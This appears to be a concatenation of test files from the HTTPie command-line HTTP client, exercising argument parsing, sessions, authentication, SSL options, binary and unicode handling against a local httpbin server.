    """Test that --stream works with non-prettified
    redirected terminal output."""
    with open(BIN_FILE_PATH, 'rb') as f:
        env = TestEnvironment(stdout_isatty=False,
                              stdin_isatty=False,
                              stdin=f)
        r = http('--pretty=none', '--stream', '--verbose', 'GET',
                 httpbin.url + '/get', env=env)
    assert BIN_FILE_CONTENT in r






"""CLI argument parsing related tests."""
import json
# noinspection PyCompatibility
import argparse

import pytest
from requests.exceptions import InvalidSchema

from httpie import input
from httpie.input import KeyValue, KeyValueArgType, DataDict
from httpie import ExitStatus
from httpie.cli import parser
from utils import TestEnvironment, http, HTTP_OK
from fixtures import (
    FILE_PATH_ARG, JSON_FILE_PATH_ARG,
    JSON_FILE_CONTENT, FILE_CONTENT, FILE_PATH
)


class TestItemParsing:

    key_value = KeyValueArgType(*input.SEP_GROUP_ALL_ITEMS)

    def test_invalid_items(self):
        items = ['no-separator']
        for item in items:
            pytest.raises(argparse.ArgumentTypeError, self.key_value, item)

    def test_escape_separator(self):
        items = input.parse_items([
            # headers
            self.key_value(r'foo\:bar:baz'),
            self.key_value(r'jack\@jill:hill'),

            # data
            self.key_value(r'baz\=bar=foo'),

            # files
            self.key_value(r'bar\@baz@%s' % FILE_PATH_ARG),
        ])
        # `requests.structures.CaseInsensitiveDict` => `dict`
        headers = dict(items.headers._store.values())

        assert headers == {
            'foo:bar': 'baz',
            'jack@jill': 'hill',
        }
        assert items.data == {'baz=bar': 'foo'}
        assert 'bar@baz' in items.files

    @pytest.mark.parametrize(('string', 'key', 'sep', 'value'), [
        ('path=c:\windows', 'path', '=', 'c:\windows'),
        ('path=c:\windows\\', 'path', '=', 'c:\windows\\'),
        ('path\==c:\windows', 'path=', '=', 'c:\windows'),
    ])
    def test_backslash_before_non_special_character_does_not_escape(
            self, string, key, sep, value):
        expected = KeyValue(orig=string, key=key, sep=sep, value=value)
        actual = self.key_value(string)
        assert actual == expected

    def test_escape_longsep(self):
        items = input.parse_items([
            self.key_value(r'bob\:==foo'),
        ])
        assert items.params == {'bob:': 'foo'}

    def test_valid_items(self):
        items = input.parse_items([
            self.key_value('string=value'),
            self.key_value('Header:value'),
            self.key_value('Unset-Header:'),
            self.key_value('Empty-Header;'),
            self.key_value('list:=["a", 1, {}, false]'),
            self.key_value('obj:={"a": "b"}'),
            self.key_value('ed='),
            self.key_value('bool:=true'),
            self.key_value('file@' + FILE_PATH_ARG),
            self.key_value('query==value'),
            self.key_value('string-embed=@' + FILE_PATH_ARG),
            self.key_value('raw-json-embed:=@' + JSON_FILE_PATH_ARG),
        ])

        # Parsed headers
        # `requests.structures.CaseInsensitiveDict` => `dict`
        headers = dict(items.headers._store.values())
        assert headers == {
            'Header': 'value',
            'Unset-Header': None,
            'Empty-Header': ''
        }

        # Parsed data
        raw_json_embed = items.data.pop('raw-json-embed')
        assert raw_json_embed == json.loads(JSON_FILE_CONTENT)
        items.data['string-embed'] = items.data['string-embed'].strip()
        assert dict(items.data) == {
            "ed": "",
            "string": "value",
            "bool": True,
            "list": ["a", 1, {}, False],
            "obj": {"a": "b"},
            "string-embed": FILE_CONTENT,
        }

        # Parsed query string parameters
        assert items.params == {'query': 'value'}

        # Parsed file fields
        assert 'file' in items.files
        assert (items.files['file'][1].read().strip().
                decode('utf8') == FILE_CONTENT)

    def test_multiple_file_fields_with_same_field_name(self):
        items = input.parse_items([
            self.key_value('file_field@' + FILE_PATH_ARG),
            self.key_value('file_field@' + FILE_PATH_ARG),
        ])
        assert len(items.files['file_field']) == 2

    def test_multiple_text_fields_with_same_field_name(self):
        items = input.parse_items(
            [self.key_value('text_field=a'),
             self.key_value('text_field=b')],
            data_class=DataDict
        )
        assert items.data['text_field'] == ['a', 'b']
        assert list(items.data.items()) == [
            ('text_field', 'a'),
            ('text_field', 'b'),
        ]


class TestQuerystring:
    def test_query_string_params_in_url(self, httpbin):
        r = http('--print=Hhb', 'GET', httpbin.url + '/get?a=1&b=2')
        path = '/get?a=1&b=2'
        url = httpbin.url + path
        assert HTTP_OK in r
        assert 'GET %s HTTP/1.1' % path in r
        assert '"url": "%s"' % url in r

    def test_query_string_params_items(self, httpbin):
        r = http('--print=Hhb', 'GET', httpbin.url + '/get', 'a==1')
        path = '/get?a=1'
        url = httpbin.url + path
        assert HTTP_OK in r
        assert 'GET %s HTTP/1.1' % path in r
        assert '"url": "%s"' % url in r

    def test_query_string_params_in_url_and_items_with_duplicates(self,
                                                                  httpbin):
        r = http('--print=Hhb', 'GET',
                 httpbin.url + '/get?a=1&a=1', 'a==1', 'a==1')
        path = '/get?a=1&a=1&a=1&a=1'
        url = httpbin.url + path
        assert HTTP_OK in r
        assert 'GET %s HTTP/1.1' % path in r
        assert '"url": "%s"' % url in r


class TestLocalhostShorthand:
    def test_expand_localhost_shorthand(self):
        args = parser.parse_args(args=[':'], env=TestEnvironment())
        assert args.url == 'http://localhost'

    def test_expand_localhost_shorthand_with_slash(self):
        args = parser.parse_args(args=[':/'], env=TestEnvironment())
        assert args.url == 'http://localhost/'

    def test_expand_localhost_shorthand_with_port(self):
        args = parser.parse_args(args=[':3000'], env=TestEnvironment())
        assert args.url == 'http://localhost:3000'

    def test_expand_localhost_shorthand_with_path(self):
        args = parser.parse_args(args=[':/path'], env=TestEnvironment())
        assert args.url == 'http://localhost/path'

    def test_expand_localhost_shorthand_with_port_and_slash(self):
        args = parser.parse_args(args=[':3000/'], env=TestEnvironment())
        assert args.url == 'http://localhost:3000/'

    def test_expand_localhost_shorthand_with_port_and_path(self):
        args = parser.parse_args(args=[':3000/path'], env=TestEnvironment())
        assert args.url == 'http://localhost:3000/path'

    def test_dont_expand_shorthand_ipv6_as_shorthand(self):
        args = parser.parse_args(args=['::1'], env=TestEnvironment())
        assert args.url == 'http://::1'

    def test_dont_expand_longer_ipv6_as_shorthand(self):
        args = parser.parse_args(
            args=['::ffff:c000:0280'],
            env=TestEnvironment()
        )
        assert args.url == 'http://::ffff:c000:0280'

    def test_dont_expand_full_ipv6_as_shorthand(self):
        args = parser.parse_args(
            args=['0000:0000:0000:0000:0000:0000:0000:0001'],
            env=TestEnvironment()
        )
        assert args.url == 'http://0000:0000:0000:0000:0000:0000:0000:0001'


class TestArgumentParser:

    def setup_method(self, method):
        self.parser = input.HTTPieArgumentParser()

    def test_guess_when_method_set_and_valid(self):
        self.parser.args = argparse.Namespace()
        self.parser.args.method = 'GET'
        self.parser.args.url = 'http://example.com/'
        self.parser.args.items = []
        self.parser.args.ignore_stdin = False

        self.parser.env = TestEnvironment()

        self.parser._guess_method()

        assert self.parser.args.method == 'GET'
        assert self.parser.args.url == 'http://example.com/'
        assert self.parser.args.items == []

    def test_guess_when_method_not_set(self):
        self.parser.args = argparse.Namespace()
        self.parser.args.method = None
        self.parser.args.url = 'http://example.com/'
        self.parser.args.items = []
        self.parser.args.ignore_stdin = False
        self.parser.env = TestEnvironment()

        self.parser._guess_method()

        assert self.parser.args.method == 'GET'
        assert self.parser.args.url == 'http://example.com/'
        assert self.parser.args.items == []

    def test_guess_when_method_set_but_invalid_and_data_field(self):
        self.parser.args = argparse.Namespace()
        self.parser.args.method = 'http://example.com/'
        self.parser.args.url = 'data=field'
        self.parser.args.items = []
        self.parser.args.ignore_stdin = False
        self.parser.env = TestEnvironment()
        self.parser._guess_method()

        assert self.parser.args.method == 'POST'
        assert self.parser.args.url == 'http://example.com/'
        assert self.parser.args.items == [
            KeyValue(key='data',
                     value='field',
                     sep='=',
                     orig='data=field')
        ]

    def test_guess_when_method_set_but_invalid_and_header_field(self):
        self.parser.args = argparse.Namespace()
        self.parser.args.method = 'http://example.com/'
        self.parser.args.url = 'test:header'
        self.parser.args.items = []
        self.parser.args.ignore_stdin = False

        self.parser.env = TestEnvironment()

        self.parser._guess_method()

        assert self.parser.args.method == 'GET'
        assert self.parser.args.url == 'http://example.com/'
        assert self.parser.args.items, [
            KeyValue(key='test',
                     value='header',
                     sep=':',
                     orig='test:header')
        ]

    def test_guess_when_method_set_but_invalid_and_item_exists(self):
        self.parser.args = argparse.Namespace()
        self.parser.args.method = 'http://example.com/'
        self.parser.args.url = 'new_item=a'
        self.parser.args.items = [
            KeyValue(
                key='old_item', value='b', sep='=', orig='old_item=b')
        ]
        self.parser.args.ignore_stdin = False

        self.parser.env = TestEnvironment()

        self.parser._guess_method()

        assert self.parser.args.items, [
            KeyValue(key='new_item', value='a', sep='=', orig='new_item=a'),
            KeyValue(
                key='old_item', value='b', sep='=', orig='old_item=b'),
        ]


class TestNoOptions:

    def test_valid_no_options(self, httpbin):
        r = http('--verbose', '--no-verbose', 'GET', httpbin.url + '/get')
        assert 'GET /get HTTP/1.1' not in r

    def test_invalid_no_options(self, httpbin):
        r = http('--no-war', 'GET', httpbin.url + '/get',
                 error_exit_ok=True)
        assert r.exit_status == 1
        assert 'unrecognized arguments: --no-war' in r.stderr
        assert 'GET /get HTTP/1.1' not in r


class TestIgnoreStdin:

    def test_ignore_stdin(self, httpbin):
        with open(FILE_PATH) as f:
            env = TestEnvironment(stdin=f, stdin_isatty=False)
            r = http('--ignore-stdin', '--verbose', httpbin.url + '/get',
                     env=env)
        assert HTTP_OK in r
        assert 'GET /get HTTP' in r, "Don't default to POST."
        assert FILE_CONTENT not in r, "Don't send stdin data."

    def test_ignore_stdin_cannot_prompt_password(self, httpbin):
        r = http('--ignore-stdin', '--auth=no-password', httpbin.url + '/get',
                 error_exit_ok=True)
        assert r.exit_status == ExitStatus.ERROR
        assert 'because --ignore-stdin' in r.stderr


class TestSchemes:

    def test_invalid_custom_scheme(self):
        # InvalidSchema is expected because HTTPie
        # shouldn't touch a formally valid scheme.
        with pytest.raises(InvalidSchema):
            http('foo+bar-BAZ.123://bah')

    def test_invalid_scheme_via_via_default_scheme(self):
        # InvalidSchema is expected because HTTPie
        # shouldn't touch a formally valid scheme.
        with pytest.raises(InvalidSchema):
            http('bah', '--default=scheme=foo+bar-BAZ.123')

    def test_default_scheme(self, httpbin_secure):
        url = '{0}:{1}'.format(httpbin_secure.host, httpbin_secure.port)
        assert HTTP_OK in http(url, '--default-scheme=https')






import os

import pytest
import pytest_httpbin.certs
from requests.exceptions import SSLError

from httpie import ExitStatus
from httpie.input import SSL_VERSION_ARG_MAPPING
from utils import http, HTTP_OK, TESTS_ROOT


CLIENT_CERT = os.path.join(TESTS_ROOT, 'client_certs', 'client.crt')
CLIENT_KEY = os.path.join(TESTS_ROOT, 'client_certs', 'client.key')
CLIENT_PEM = os.path.join(TESTS_ROOT, 'client_certs', 'client.pem')

# FIXME:
# We test against a local httpbin instance which uses a self-signed cert.
# Requests without --verify=<CA_BUNDLE> will fail with a verification error.
# See: https://github.com/kevin1024/pytest-httpbin#https-support
CA_BUNDLE = pytest_httpbin.certs.where()


@pytest.mark.parametrize('ssl_version', SSL_VERSION_ARG_MAPPING.keys())
def test_ssl_version(httpbin_secure, ssl_version):
    try:
        r = http(
            '--ssl', ssl_version,
            httpbin_secure + '/get'
        )
        assert HTTP_OK in r
    except SSLError as e:
        if ssl_version == 'ssl3':
            # pytest-httpbin doesn't support ssl3
            assert 'SSLV3_ALERT_HANDSHAKE_FAILURE' in str(e)
        else:
            raise


class TestClientCert:

    def test_cert_and_key(self, httpbin_secure):
        r = http(httpbin_secure + '/get',
                 '--cert', CLIENT_CERT,
                 '--cert-key', CLIENT_KEY)
        assert HTTP_OK in r

    def test_cert_pem(self, httpbin_secure):
        r = http(httpbin_secure + '/get',
                 '--cert', CLIENT_PEM)
        assert HTTP_OK in r

    def test_cert_file_not_found(self, httpbin_secure):
        r = http(httpbin_secure + '/get',
                 '--cert', '/__not_found__',
                 error_exit_ok=True)
        assert r.exit_status == ExitStatus.ERROR
        assert 'No such file or directory' in r.stderr

    def test_cert_file_invalid(self, httpbin_secure):
        with pytest.raises(SSLError):
            http(httpbin_secure + '/get',
                 '--cert', __file__)

    def test_cert_ok_but_missing_key(self, httpbin_secure):
        with pytest.raises(SSLError):
            http(httpbin_secure + '/get',
                 '--cert', CLIENT_CERT)


class TestServerCert:

    def test_verify_no_OK(self, httpbin_secure):
        r = http(httpbin_secure.url + '/get', '--verify=no')
        assert HTTP_OK in r

    def test_verify_custom_ca_bundle_path(
            self, httpbin_secure_untrusted):
        r = http(httpbin_secure_untrusted + '/get', '--verify', CA_BUNDLE)
        assert HTTP_OK in r

    def test_self_signed_server_cert_by_default_raises_ssl_error(
            self,
            httpbin_secure_untrusted):
        with pytest.raises(SSLError):
            http(httpbin_secure_untrusted.url + '/get')

    def test_verify_custom_ca_bundle_invalid_path(self, httpbin_secure):
        with pytest.raises(SSLError):
            http(httpbin_secure.url + '/get', '--verify', '/__not_found__')

    def test_verify_custom_ca_bundle_invalid_bundle(self, httpbin_secure):
        with pytest.raises(SSLError):
            http(httpbin_secure.url + '/get', '--verify', __file__)






"""
Tests for the provided defaults regarding HTTP method, and --json vs. --form.

"""
from httpie.client import JSON_ACCEPT
from utils import TestEnvironment, http, HTTP_OK
from fixtures import FILE_PATH


class TestImplicitHTTPMethod:
    def test_implicit_GET(self, httpbin):
        r = http(httpbin.url + '/get')
        assert HTTP_OK in r

    def test_implicit_GET_with_headers(self, httpbin):
        r = http(httpbin.url + '/headers', 'Foo:bar')
        assert HTTP_OK in r
        assert r.json['headers']['Foo'] == 'bar'

    def test_implicit_POST_json(self, httpbin):
        r = http(httpbin.url + '/post', 'hello=world')
        assert HTTP_OK in r
        assert r.json['json'] == {'hello': 'world'}

    def test_implicit_POST_form(self, httpbin):
        r = http('--form', httpbin.url + '/post', 'foo=bar')
        assert HTTP_OK in r
        assert r.json['form'] == {'foo': 'bar'}

    def test_implicit_POST_stdin(self, httpbin):
        with open(FILE_PATH) as f:
            env = TestEnvironment(stdin_isatty=False, stdin=f)
            r = http('--form', httpbin.url + '/post', env=env)
        assert HTTP_OK in r


class TestAutoContentTypeAndAcceptHeaders:
    """
    Test that Accept and Content-Type correctly defaults to JSON,
    but can still be overridden. The same with Content-Type when --form
    -f is used.

    """

    def test_GET_no_data_no_auto_headers(self, httpbin):
        # https://github.com/jkbrzt/httpie/issues/62
        r = http('GET', httpbin.url + '/headers')
        assert HTTP_OK in r
        assert r.json['headers']['Accept'] == '*/*'
        assert 'Content-Type' not in r.json['headers']

    def test_POST_no_data_no_auto_headers(self, httpbin):
        # JSON headers shouldn't be automatically set for POST with no data.
        r = http('POST', httpbin.url + '/post')
        assert HTTP_OK in r
        assert '"Accept": "*/*"' in r
        assert '"Content-Type": "application/json' not in r

    def test_POST_with_data_auto_JSON_headers(self, httpbin):
        r = http('POST', httpbin.url + '/post', 'a=b')
        assert HTTP_OK in r
        assert r.json['headers']['Accept'] == JSON_ACCEPT
        assert r.json['headers']['Content-Type'] == 'application/json'

    def test_GET_with_data_auto_JSON_headers(self, httpbin):
        # JSON headers should automatically be set also for GET with data.
        r = http('POST', httpbin.url + '/post', 'a=b')
        assert HTTP_OK in r
        assert r.json['headers']['Accept'] == JSON_ACCEPT
        assert r.json['headers']['Content-Type'] == 'application/json'

    def test_POST_explicit_JSON_auto_JSON_accept(self, httpbin):
        r = http('--json', 'POST', httpbin.url + '/post')
        assert HTTP_OK in r
        assert r.json['headers']['Accept'] == JSON_ACCEPT
        # Make sure Content-Type gets set even with no data.
        # https://github.com/jkbrzt/httpie/issues/137
        assert 'application/json' in r.json['headers']['Content-Type']

    def test_GET_explicit_JSON_explicit_headers(self, httpbin):
        r = http('--json', 'GET', httpbin.url + '/headers',
                 'Accept:application/xml',
                 'Content-Type:application/xml')
        assert HTTP_OK in r
        assert '"Accept": "application/xml"' in r
        assert '"Content-Type": "application/xml"' in r

    def test_POST_form_auto_Content_Type(self, httpbin):
        r = http('--form', 'POST', httpbin.url + '/post')
        assert HTTP_OK in r
        assert '"Content-Type": "application/x-www-form-urlencoded' in r

    def test_POST_form_Content_Type_override(self, httpbin):
        r = http('--form', 'POST', httpbin.url + '/post',
                 'Content-Type:application/xml')
        assert HTTP_OK in r
        assert '"Content-Type": "application/xml"' in r

    def test_print_only_body_when_stdout_redirected_by_default(self, httpbin):
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('GET', httpbin.url + '/get', env=env)
        assert 'HTTP/' not in r

    def test_print_overridable_when_stdout_redirected(self, httpbin):
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('--print=h', 'GET', httpbin.url + '/get', env=env)
        assert HTTP_OK in r






"""Tests for dealing with binary request and response data."""
from httpie.compat import urlopen
from httpie.output.streams import BINARY_SUPPRESSED_NOTICE
from utils import TestEnvironment, http
from fixtures import BIN_FILE_PATH, BIN_FILE_CONTENT, BIN_FILE_PATH_ARG


class TestBinaryRequestData:

    def test_binary_stdin(self, httpbin):
        with open(BIN_FILE_PATH, 'rb') as stdin:
            env = TestEnvironment(
                stdin=stdin,
                stdin_isatty=False,
                stdout_isatty=False
            )
            r = http('--print=B', 'POST', httpbin.url + '/post', env=env)
            assert r == BIN_FILE_CONTENT

    def test_binary_file_path(self, httpbin):
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('--print=B', 'POST', httpbin.url + '/post',
                 '@' + BIN_FILE_PATH_ARG, env=env, )
        assert r == BIN_FILE_CONTENT

    def test_binary_file_form(self, httpbin):
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('--print=B', '--form', 'POST', httpbin.url + '/post',
                 'test@' + BIN_FILE_PATH_ARG, env=env)
        assert bytes(BIN_FILE_CONTENT) in bytes(r)


class TestBinaryResponseData:
    url = 'http://www.google.com/favicon.ico'

    @property
    def bindata(self):
        if not hasattr(self, '_bindata'):
            self._bindata = urlopen(self.url).read()
        return self._bindata

    def test_binary_suppresses_when_terminal(self):
        r = http('GET', self.url)
        assert BINARY_SUPPRESSED_NOTICE.decode() in r

    def test_binary_suppresses_when_not_terminal_but_pretty(self):
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('--pretty=all', 'GET', self.url,
                 env=env)
        assert BINARY_SUPPRESSED_NOTICE.decode() in r

    def test_binary_included_and_correct_when_suitable(self):
        env = TestEnvironment(stdin_isatty=True, stdout_isatty=False)
        r = http('GET', self.url, env=env)
        assert r == self.bindata






import os
import fnmatch
import subprocess

import pytest

from utils import TESTS_ROOT


def has_docutils():
    try:
        # noinspection PyUnresolvedReferences
        import docutils
        return True
    except ImportError:
        return False


def rst_filenames():
    for root, dirnames, filenames in os.walk(os.path.dirname(TESTS_ROOT)):
        if '.tox' not in root:
            for filename in fnmatch.filter(filenames, '*.rst'):
                yield os.path.join(root, filename)


filenames = list(rst_filenames())
assert filenames


@pytest.mark.skipif(not has_docutils(), reason='docutils not installed')
@pytest.mark.parametrize('filename', filenames)
def test_rst_file_syntax(filename):
    p = subprocess.Popen(
        ['rst2pseudoxml.py', '--report=1', '--exit-status=1', filename],
        stderr=subprocess.PIPE,
        stdout=subprocess.PIPE
    )
    err = p.communicate()[1]
    assert p.returncode == 0, err.decode('utf8')






# coding=utf-8
import os
import shutil
import sys
from tempfile import gettempdir

import pytest

from httpie.plugins.builtin import HTTPBasicAuth
from utils import TestEnvironment, mk_config_dir, http, HTTP_OK
from fixtures import UNICODE


class SessionTestBase(object):

    def start_session(self, httpbin):
        """Create and reuse a unique config dir for each test."""
        self.config_dir = mk_config_dir()

    def teardown_method(self, method):
        shutil.rmtree(self.config_dir)

    def env(self):
        """
        Return an environment.

        Each environment created withing a test method
        will share the same config_dir. It is necessary
        for session files being reused.

        """
        return TestEnvironment(config_dir=self.config_dir)


class TestSessionFlow(SessionTestBase):
    """
    These tests start with an existing session created in `setup_method()`.

    """

    def start_session(self, httpbin):
        """
        Start a full-blown session with a custom request header,
        authorization, and response cookies.

        """
        super(TestSessionFlow, self).start_session(httpbin)
        r1 = http('--follow', '--session=test', '--auth=username:password',
                  'GET', httpbin.url + '/cookies/set?hello=world',
                  'Hello:World',
                  env=self.env())
        assert HTTP_OK in r1

    def test_session_created_and_reused(self, httpbin):
        self.start_session(httpbin)
        # Verify that the session created in setup_method() has been used.
        r2 = http('--session=test',
                  'GET', httpbin.url + '/get', env=self.env())
        assert HTTP_OK in r2
        assert r2.json['headers']['Hello'] == 'World'
        assert r2.json['headers']['Cookie'] == 'hello=world'
        assert 'Basic ' in r2.json['headers']['Authorization']

    def test_session_update(self, httpbin):
        self.start_session(httpbin)
        # Get a response to a request from the original session.
        r2 = http('--session=test', 'GET', httpbin.url + '/get',
                  env=self.env())
        assert HTTP_OK in r2

        # Make a request modifying the session data.
        r3 = http('--follow', '--session=test', '--auth=username:password2',
                  'GET', httpbin.url + '/cookies/set?hello=world2',
                  'Hello:World2',
                  env=self.env())
        assert HTTP_OK in r3

        # Get a response to a request from the updated session.
        r4 = http('--session=test', 'GET', httpbin.url + '/get',
                  env=self.env())
        assert HTTP_OK in r4
        assert r4.json['headers']['Hello'] == 'World2'
        assert r4.json['headers']['Cookie'] == 'hello=world2'
        assert (r2.json['headers']['Authorization'] !=
                r4.json['headers']['Authorization'])

    def test_session_read_only(self, httpbin):
        self.start_session(httpbin)
        # Get a response from the original session.
        r2 = http('--session=test', 'GET', httpbin.url + '/get',
                  env=self.env())
        assert HTTP_OK in r2

        # Make a request modifying the session data but
        # with --session-read-only.
        r3 = http('--follow', '--session-read-only=test',
                  '--auth=username:password2', 'GET',
                  httpbin.url + '/cookies/set?hello=world2', 'Hello:World2',
                  env=self.env())
        assert HTTP_OK in r3

        # Get a response from the updated session.
        r4 = http('--session=test', 'GET', httpbin.url + '/get',
                  env=self.env())
        assert HTTP_OK in r4

        # Origin can differ on Travis.
        del r2.json['origin'], r4.json['origin']
        # Different for each request.

        # Should be the same as before r3.
        assert r2.json == r4.json


class TestSession(SessionTestBase):
    """Stand-alone session tests."""

    def test_session_ignored_header_prefixes(self, httpbin):
        self.start_session(httpbin)
        r1 = http('--session=test', 'GET', httpbin.url + '/get',
                  'Content-Type: text/plain',
                  'If-Unmodified-Since: Sat, 29 Oct 1994 19:43:31 GMT',
                  env=self.env())
        assert HTTP_OK in r1
        r2 = http('--session=test', 'GET', httpbin.url + '/get',
                  env=self.env())
        assert HTTP_OK in r2
        assert 'Content-Type' not in r2.json['headers']
        assert 'If-Unmodified-Since' not in r2.json['headers']

    def test_session_by_path(self, httpbin):
        self.start_session(httpbin)
        session_path = os.path.join(self.config_dir, 'session-by-path.json')
        r1 = http('--session=' + session_path, 'GET', httpbin.url + '/get',
                  'Foo:Bar', env=self.env())
        assert HTTP_OK in r1

        r2 = http('--session=' + session_path, 'GET', httpbin.url + '/get',
                  env=self.env())
        assert HTTP_OK in r2
        assert r2.json['headers']['Foo'] == 'Bar'

    @pytest.mark.skipif(
        sys.version_info >= (3,),
        reason="This test fails intermittently on Python 3 - "
               "see https://github.com/jkbrzt/httpie/issues/282")
    def test_session_unicode(self, httpbin):
        self.start_session(httpbin)

        r1 = http('--session=test', u'--auth=test:' + UNICODE,
                  'GET', httpbin.url + '/get', u'Test:%s' % UNICODE,
                  env=self.env())
        assert HTTP_OK in r1

        r2 = http('--session=test', '--verbose', 'GET',
                  httpbin.url + '/get', env=self.env())
        assert HTTP_OK in r2

        # FIXME: Authorization *sometimes* is not present on Python3
        assert (r2.json['headers']['Authorization'] ==
                HTTPBasicAuth.make_header(u'test', UNICODE))
        # httpbin doesn't interpret utf8 headers
        assert UNICODE in r2

    def test_session_default_header_value_overwritten(self, httpbin):
        self.start_session(httpbin)
        # https://github.com/jkbrzt/httpie/issues/180
        r1 = http('--session=test',
                  httpbin.url + '/headers', 'User-Agent:custom',
                  env=self.env())
        assert HTTP_OK in r1
        assert r1.json['headers']['User-Agent'] == 'custom'

        r2 = http('--session=test', httpbin.url + '/headers', env=self.env())
        assert HTTP_OK in r2
        assert r2.json['headers']['User-Agent'] == 'custom'

    def test_download_in_session(self, httpbin):
        # https://github.com/jkbrzt/httpie/issues/412
        self.start_session(httpbin)
        cwd = os.getcwd()
        os.chdir(gettempdir())
        try:
            http('--session=test', '--download',
                 httpbin.url + '/get', env=self.env())
        finally:
            os.chdir(cwd)






"""HTTP authentication-related tests."""
import mock
import pytest

from utils import http, add_auth, HTTP_OK, TestEnvironment
import httpie.input
import httpie.cli


def test_basic_auth(httpbin_both):
    r = http('--auth=user:password',
             'GET', httpbin_both + '/basic-auth/user/password')
    assert HTTP_OK in r
    assert r.json == {'authenticated': True, 'user': 'user'}


@pytest.mark.parametrize('argument_name', ['--auth-type', '-A'])
def test_digest_auth(httpbin_both, argument_name):
    r = http(argument_name + '=digest', '--auth=user:password',
             'GET', httpbin_both.url + '/digest-auth/auth/user/password')
    assert HTTP_OK in r
    assert r.json == {'authenticated': True, 'user': 'user'}


@mock.patch('httpie.input.AuthCredentials._getpass',
            new=lambda self, prompt: 'password')
def test_password_prompt(httpbin):
    r = http('--auth', 'user',
             'GET', httpbin.url + '/basic-auth/user/password')
    assert HTTP_OK in r
    assert r.json == {'authenticated': True, 'user': 'user'}


def test_credentials_in_url(httpbin_both):
    url = add_auth(httpbin_both.url + '/basic-auth/user/password',
                   auth='user:password')
    r = http('GET', url)
    assert HTTP_OK in r
    assert r.json == {'authenticated': True, 'user': 'user'}


def test_credentials_in_url_auth_flag_has_priority(httpbin_both):
    """When credentials are passed in URL and via -a at the same time,
     then the ones from -a are used."""
    url = add_auth(httpbin_both.url + '/basic-auth/user/password',
                   auth='user:wrong')
    r = http('--auth=user:password', 'GET', url)
    assert HTTP_OK in r
    assert r.json == {'authenticated': True, 'user': 'user'}


@pytest.mark.parametrize('url', [
    'username@example.org',
    'username:@example.org',
])
def test_only_username_in_url(url):
    """
    https://github.com/jkbrzt/httpie/issues/242

    """
    args = httpie.cli.parser.parse_args(args=[url], env=TestEnvironment())
    assert args.auth
    assert args.auth.key == 'username'
    assert args.auth.value == ''






# coding=utf-8
"""
Various unicode handling related tests.

"""
from utils import http, HTTP_OK
from fixtures import UNICODE


def test_unicode_headers(httpbin):
    # httpbin doesn't interpret utf8 headers
    r = http(httpbin.url + '/headers', u'Test:%s' % UNICODE)
    assert HTTP_OK in r


def test_unicode_headers_verbose(httpbin):
    # httpbin doesn't interpret utf8 headers
    r = http('--verbose', httpbin.url + '/headers', u'Test:%s' % UNICODE)
    assert HTTP_OK in r
    assert UNICODE in r


def test_unicode_form_item(httpbin):
    r = http('--form', 'POST', httpbin.url + '/post', u'test=%s' % UNICODE)
    assert HTTP_OK in r
    assert r.json['form'] == {'test': UNICODE}


def test_unicode_form_item_verbose(httpbin):
    r = http('--verbose', '--form',
             'POST', httpbin.url + '/post', u'test=%s' % UNICODE)
    assert HTTP_OK in r
    assert UNICODE in r


def test_unicode_json_item(httpbin):
    r = http('--json', 'POST', httpbin.url + '/post', u'test=%s' % UNICODE)
    assert HTTP_OK in r
    assert r.json['json'] == {'test': UNICODE}


def test_unicode_json_item_verbose(httpbin):
    r = http('--verbose', '--json',
             'POST', httpbin.url + '/post', u'test=%s' % UNICODE)
    assert HTTP_OK in r
    assert UNICODE in r


def test_unicode_raw_json_item(httpbin):
    r = http('--json', 'POST', httpbin.url + '/post',
             u'test:={ "%s" : [ "%s" ] }' % (UNICODE, UNICODE))
    assert HTTP_OK in r
    assert r.json['json'] == {'test': {UNICODE: [UNICODE]}}


def test_unicode_raw_json_item_verbose(httpbin):
    r = http('--json', 'POST', httpbin.url + '/post',
             u'test:={ "%s" : [ "%s" ] }' % (UNICODE, UNICODE))
    assert HTTP_OK in r
    assert r.json['json'] == {'test': {UNICODE: [UNICODE]}}


def test_unicode_url_query_arg_item(httpbin):
    r = http(httpbin.url + '/get', u'test==%s' % UNICODE)
    assert HTTP_OK in r
    assert r.json['args'] == {'test': UNICODE}, r


def test_unicode_url_query_arg_item_verbose(httpbin):
    r = http('--verbose', httpbin.url + '/get', u'test==%s' % UNICODE)
    assert HTTP_OK in r
    assert UNICODE in r


def test_unicode_url(httpbin):
    r = http(httpbin.url + u'/get?test=' + UNICODE)
    assert HTTP_OK in r
    assert r.json['args'] == {'test': UNICODE}

# def test_unicode_url_verbose(self):
#     r = http(httpbin.url + '--verbose', u'/get?test=' + UNICODE)
#     assert HTTP_OK in r


def test_unicode_basic_auth(httpbin):
    # it doesn't really authenticate us because httpbin
    # doesn't interpret the utf8-encoded auth
    http('--verbose', '--auth', u'test:%s' % UNICODE,
         httpbin.url + u'/basic-auth/test/' + UNICODE)


def test_unicode_digest_auth(httpbin):
    # it doesn't really authenticate us because httpbin
    # doesn't interpret the utf8-encoded auth
    http('--auth-type=digest',
         '--auth', u'test:%s' % UNICODE,
         httpbin.url + u'/digest-auth/auth/test/' + UNICODE)






import os
from tempfile import gettempdir

import pytest

from utils import TestEnvironment, http, HTTP_OK, COLOR, CRLF
from httpie import ExitStatus
from httpie.compat import urlopen
from httpie.output.formatters.colors import get_lexer


@pytest.mark.parametrize('stdout_isatty', [True, False])
def test_output_option(httpbin, stdout_isatty):
    output_filename = os.path.join(gettempdir(), test_output_option.__name__)
    url = httpbin + '/robots.txt'

    r = http('--output', output_filename, url,
             env=TestEnvironment(stdout_isatty=stdout_isatty))
    assert r == ''

    expected_body = urlopen(url).read().decode()
    with open(output_filename, 'r') as f:
        actual_body = f.read()

    assert actual_body == expected_body


class TestVerboseFlag:
    def test_verbose(self, httpbin):
        r = http('--verbose',
                 'GET', httpbin.url + '/get', 'test-header:__test__')
        assert HTTP_OK in r
        assert r.count('__test__') == 2

    def test_verbose_form(self, httpbin):
        # https://github.com/jkbrzt/httpie/issues/53
        r = http('--verbose', '--form', 'POST', httpbin.url + '/post',
                 'A=B', 'C=D')
        assert HTTP_OK in r
        assert 'A=B&C=D' in r

    def test_verbose_json(self, httpbin):
        r = http('--verbose',
                 'POST', httpbin.url + '/post', 'foo=bar', 'baz=bar')
        assert HTTP_OK in r
